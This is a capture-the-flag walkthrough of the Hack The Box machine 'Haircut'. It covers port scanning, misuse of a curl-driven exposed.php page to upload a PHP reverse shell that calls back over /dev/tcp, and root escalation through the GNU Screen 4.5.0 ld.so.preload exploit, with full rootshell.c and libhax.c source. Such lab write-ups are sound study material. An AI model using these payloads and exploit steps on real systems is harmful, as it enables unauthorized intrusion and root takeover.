---
search:
  exclude: true
---
# Haircut Writeup

![](img/8.png)

## Introduction :

Haircut is a medium Linux box released back in May 2017.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      λ nihilist [ 10.10.14.20/23 ] [~]
      → nmap -F 10.10.10.24
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 12:41 GMT
      Nmap scan report for 10.10.10.24
      Host is up (0.10s latency).
      Not shown: 98 closed ports
      PORT   STATE SERVICE
      22/tcp open  ssh
      80/tcp open  http
    
      Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds
    
      λ nihilist [ 10.10.14.20/23 ] [~]
      → nmap -sCV 10.10.10.24 -p22,80
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 12:48 GMT
      Nmap scan report for 10.10.10.24
      Host is up (0.10s latency).
    
      PORT   STATE SERVICE VERSION
      22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
      | ssh-hostkey:
      |   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
      |   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
      |_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
      80/tcp open  http    nginx 1.10.0 (Ubuntu)
      |_http-server-header: nginx/1.10.0 (Ubuntu)
      |_http-title:  HTB Hairdresser
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 11.06 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up nginx 1.10.0 running on port 80, browsing there we find a simple webpage with one image on it, so we download it to see if we can find anything interesting on it, however before that, let's run a dirsearch scan to see if we can find any interesting directories :
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → dirsearch -u http://10.10.10.24/ -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e html,txt,php,js,xml
    

While that runs, let's see if we can find anything interesting on that image on the webpage : 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → wget http://10.10.10.24/bounce.jpg && exiftool bounce.jpg
      --2020-02-24 13:02:32--  http://10.10.10.24/bounce.jpg
      Connecting to 10.10.10.24:80... connected.
      HTTP request sent, awaiting response... 200 OK
      Length: 116637 (114K) [image/jpeg]
      Saving to: ‘bounce.jpg’
    
      bounce.jpg                    100%[===============================================>] 113.90K   367KB/s    in 0.3s
    
      2020-02-24 13:02:33 (367 KB/s) - ‘bounce.jpg’ saved [116637/116637]
    
      ExifTool Version Number         : 11.86
      File Name                       : bounce.jpg
      Directory                       : .
      File Size                       : 114 kB
      File Modification Date/Time     : 2017:05:15 09:58:51+01:00
      File Access Date/Time           : 2020:02:24 13:02:33+00:00
      File Inode Change Date/Time     : 2020:02:24 13:02:33+00:00
      File Permissions                : rw-r--r--
      File Type                       : JPEG
      File Type Extension             : jpg
      MIME Type                       : image/jpeg
      JFIF Version                    : 1.01
      Resolution Unit                 : None
      X Resolution                    : 1
      Y Resolution                    : 1
      Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90.
      Image Width                     : 600
      Image Height                    : 804
      Encoding Process                : Baseline DCT, Huffman coding
      Bits Per Sample                 : 8
      Color Components                : 3
      Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
      Image Size                      : 600x804
      Megapixels                      : 0.482
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → file bounce.jpg
      bounce.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 600x804, components 3
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → steghide extract -sf bounce.jpg
      Enter passphrase:
      steghide: could not extract any data with that passphrase!
    

Looks like we're out of luck for that image for now. looking back at our dirsearch results, we find the test.html page which again just has a single image on it and nothing else. but we also have an exposed.php webpage. and looking at it's error messages, we see that it's using curl to find the webpage we request.

![](prg/8_001.png)

Let's see if we can get it to connect to us : 

![](prg/8_002.png)
    
    
    Requesting Site...
    % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 56 100 56 0 0 268 0 --:--:-- --:--:-- --:--:-- 267
    
    nihilist's simpleHTTPServer running on port 1234
     

And we can ! now that we know that it is running curl, and that it can reach to us, let's see if we can take this a little further by using what our dirsearch command found earlier : the /uploads/ directory, so we'll try uploading a file there :
    
    
       λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
       → cp /home/nihilist/_HTB/Cronos/nihilist.php .
    
       λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
       → nano nihilist.php
     
    
    
    <****?php
    exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.20/1234 0>&1'");
    ?****>
    
    
       λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → ls
    bounce.jpg  nihilist.html  nihilist.php
    
    λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → python -m SimpleHTTPServer 9000
    Serving HTTP on 0.0.0.0 port 9000 ...
     
    
    
    -o /var/www/html/uploads/nihilist.php http://10.10.14.20:9000/nihilist.php
     

once uploaded, we just need to browse to our url , while having our netcat listener on port 1234. 
    
    
       λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → nc -lvnp 1234
    listening on [any] 1234 ...
     
    
    
       λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
       → curl http://10.10.10.24/uploads/nihilist.php
     
    
    
       connect to [10.10.14.20] from (UNKNOWN) [10.10.10.24] 34814
       bash: cannot set terminal process group (1202): Inappropriate ioctl for device
       bash: no job control in this shell
    
       www-data@haircut:~/html/uploads$ cat /home/maria/Desktop/user.txt
       cat /home/maria/Desktop/user.txt
       0bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
     

Getting our reverse shell, we have been able to print out the user flag in /home/maria/desktop/. 

## **Part 3 : Getting Root Access**

Now from there, we have to somehow privesc to the root user so let's first check which files have the 4000 permissions, piping the errors to /dev/null.
    
    
      www-data@haircut:/bin$ find / -perm -4000 2>/dev/null | xargs ls -la
      find / -perm -4000 2>/dev/null | xargs ls -la
      -rwsr-xr-x 1 root   root         30800 Jul 12  2016 /bin/fusermount
      -rwsr-xr-x 1 root   root         40152 Dec 16  2016 /bin/mount
      -rwsr-xr-x 1 root   root        142032 Jan 28  2017 /bin/ntfs-3g
      -rwsr-xr-x 1 root   root         44168 May  7  2014 /bin/ping
      -rwsr-xr-x 1 root   root         44680 May  7  2014 /bin/ping6
      -rwsr-xr-x 1 root   root         40128 May  4  2017 /bin/su
      -rwsr-xr-x 1 root   root         27608 Dec 16  2016 /bin/umount
      -rwsr-sr-x 1 daemon daemon       51464 Jan 14  2016 /usr/bin/at
      -rwsr-xr-x 1 root   root         49584 May  4  2017 /usr/bin/chfn
      -rwsr-xr-x 1 root   root         40432 May  4  2017 /usr/bin/chsh
      -rwsr-xr-x 1 root   root         75304 May  4  2017 /usr/bin/gpasswd
      -rwsr-xr-x 1 root   root         32944 May  4  2017 /usr/bin/newgidmap
      -rwsr-xr-x 1 root   root         39904 May  4  2017 /usr/bin/newgrp
      -rwsr-xr-x 1 root   root         32944 May  4  2017 /usr/bin/newuidmap
      -rwsr-xr-x 1 root   root         54256 May  4  2017 /usr/bin/passwd
      -rwsr-xr-x 1 root   root         23376 Jan 18  2016 /usr/bin/pkexec
      -rwsr-xr-x 1 root   root       1588648 May 19  2017 /usr/bin/screen-4.5.0
      -rwsr-xr-x 1 root   root        136808 Jan 20  2017 /usr/bin/sudo
      -rwsr-xr-- 1 root   messagebus   42992 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      -rwsr-xr-x 1 root   root         10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
      -rwsr-xr-x 1 root   root        428240 Mar 16  2017 /usr/lib/openssh/ssh-keysign
      -rwsr-xr-x 1 root   root         14864 Jan 18  2016 /usr/lib/policykit-1/polkit-agent-helper-1
      -rwsr-xr-x 1 root   root        208680 Apr 29  2017 /usr/lib/snapd/snap-confine
      -rwsr-xr-x 1 root   root         38984 Mar  7  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    

And here, we see something interesting , we have /usr/bin/screen-4.5.0 which basically is an outdated version of GNU Screen which is vulnerable to a local bashscript exploit, as explained here :
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → searchsploit screen 4.5
      ------------------------------------------------------- ------------------------------
       Exploit Title                                         |  Path
                                                             | (/usr/share/exploitdb/)
      ------------------------------------------------------- ------------------------------
      GNU Screen 4.5.0 - Local Privilege Escalation          | exploits/linux/local/41154.sh
      GNU Screen 4.5.0 - Local Privilege Escalation (PoC)    | exploits/linux/local/41152.txt
      ------------------------------------------------------- ------------------------------
      Shellcodes: No Result
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → locate 41152.txt
      /usr/share/exploitdb/exploits/linux/local/41152.txt
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → cat /usr/share/exploitdb/exploits/linux/local/41152.txt
      Commit f86a374 ("screen.c: adding permissions check for the logfile name",
      2015-11-04)
    
      The check opens the logfile with full root privileges. This allows us to
      truncate any file or create a root-owned file with any contents in any
      directory and can be easily exploited to full root access in several ways.
    
    

So that's the explanation of the exploit, let's replicate each steps (that i purposefully cut out to demonstrate here) : 
    
    
      www-data@haircut:/bin$ screen --version
      screen --version
      Screen version 4.05.00 (GNU) 10-Dec-16
    
      www-data@haircut:/bin$ cd /etc
      cd /etc
    
      www-data@haircut:/etc$ id
      id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
      www-data@haircut:/etc$ screen -D -m -L bla.bla echo fail
      screen -D -m -L bla.bla echo fail
    
      www-data@haircut:/etc$ ls -l bla.bla
      ls -l bla.bla
      -rw-r--r-- 1 root www-data 0 Feb 24 14:54 bla.bla
    

and we've been able to create a file owned by root. Now let's look at the other exploit our searchsploit command found earlier : 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → locate 41154.sh
      /usr/share/exploitdb/exploits/linux/local/41154.sh
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → cp /usr/share/exploitdb/exploits/linux/local/41154.sh .
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
      → ls
      41154.sh  bounce.jpg  nihilist.html  nihilist.php
    

now looking at the bashscript we just copied, we need to create 2 files : rootshell.c and libhax.c 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → nano rootshell.c
    
    
    
      #include <****stdio.h>
    int main(void){
            setuid(0);
            setgid(0);
            system("/bin/sh");
    }
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → nano libhax.c
    
    
    
      #include <****stdio.h>
      #include <****sys/types.h>
      #include <****unistd.h>
      __attribute__ ((__constructor__))
      void dropshell(void){
              chown("/tmp/rootshell",0,0);
              chmod("/tmp/rootshell",04755);
              unlink("/etc/ld.so.preload");
              printf("[+] done!\n");
      }

now once we have both of them, we compile rootshell.c 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → ls
    41154.sh  bounce.jpg  nihilist.html  nihilist.php  libhax.c  rootshell.c
    
    λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → gcc -o rootshell rootshell.c
    
    λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → file rootshell
    rootshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=12fa79c4be4d1e8082f25adb7e78c33e46df2d80, for GNU/Linux 3.2.0, not stripped
    

so we have our 64bit executable binary, which is appropriate because when we type uname with the -a flag on the box we see that it is a 64bit machine. 
    
    
      www-data@haircut:/tmp$ uname -a
      uname -a
      Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → gcc -fPIC -shared -ldl -o libhax.so libhax.c
    
    λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → ls
    41154.sh    nihilist.html  libhax.c   rootshell
    bounce.jpg  nihilist.php   libhax.so  rootshell.c
    
    λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
    → python -m SimpleHTTPServer 9006
    Serving HTTP on 0.0.0.0 port 9006 ...
    

And we now we have both our compiled files libhax.so and rootshell. Running simplehttpserver, we download them into /tmp.
    
    
      www-data@haircut:/tmp$ cd /tmp && wget http://10.10.14.20:9006/libhax.so && wget http://10.10.14.20:9006/rootshell
      --2020-02-24 15:22:28--  http://10.10.14.20:9006/libhax.so
      Connecting to 10.10.14.20:9006... connected.
      HTTP request sent, awaiting response... 200 OK
      Length: 16144 (16K) [application/octet-stream]
      Saving to: 'libhax.so'
    
           0K .......... .....                                      100%  152K=0.1s
    
      2020-02-24 15:22:28 (152 KB/s) - 'libhax.so' saved [16144/16144]
    
      --2020-02-24 15:22:28--  http://10.10.14.20:9006/rootshell
      Connecting to 10.10.14.20:9006... connected.
      HTTP request sent, awaiting response... 200 OK
      Length: 16720 (16K) [application/octet-stream]
      Saving to: 'rootshell'
    
           0K .......... ......                                     100%  145K=0.1s
    
      2020-02-24 15:22:28 (145 KB/s) - 'rootshell' saved [16720/16720]
    
      www-data@haircut:/tmp$ chmod +x rootshell && chmod +x libhax.so
      chmod +x rootshell && chmod +x libhax.so
    

Now we should be ready to get run the intended script although at this point we'll just do the rest manually, since we basically cut out more than half of the script already. 
    
    
      #!/bin/sh
      echo "~ gnu/screenroot ~"
      echo "[+] First, we create our shell and library..."
      cd /etc
      umask 000 # because
      screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline n>
      echo "[+] Triggering..."
      screen -ls # screen itself is setuid, so...
      /tmp/rootshell
    
    
    
    
      www-data@haircut:/tmp$ cd /etc
      cd /etc
    
      www-data@haircut:/etc$ umask 000
      umask 000
    
      www-data@haircut:/etc$ screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline n>
    
      www-data@haircut:/etc$ ls -la | grep ld
      ls -la | grep ld
      -rw-r--r--   1 root root     24939 May 19  2017 ld.so.cache
      -rw-r--r--   1 root root        34 Jan 27  2016 ld.so.conf
      drwxr-xr-x   2 root root      4096 May 16  2017 ld.so.conf.d
      drwxr-xr-x   2 root root      4096 May 15  2017 ldap
      www-data@haircut:/etc$ /tmp/rootshell
      /tmp/rootshell
      id
      uid=0(root) gid=0(root) groups=0(root),33(www-data)
      cat /root/root.txt
      4cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to privesc to the root user and we have been able to print out the root flag.

## **Conclusion**

Here we can see the progress graph :

![](img/8_graph.png)

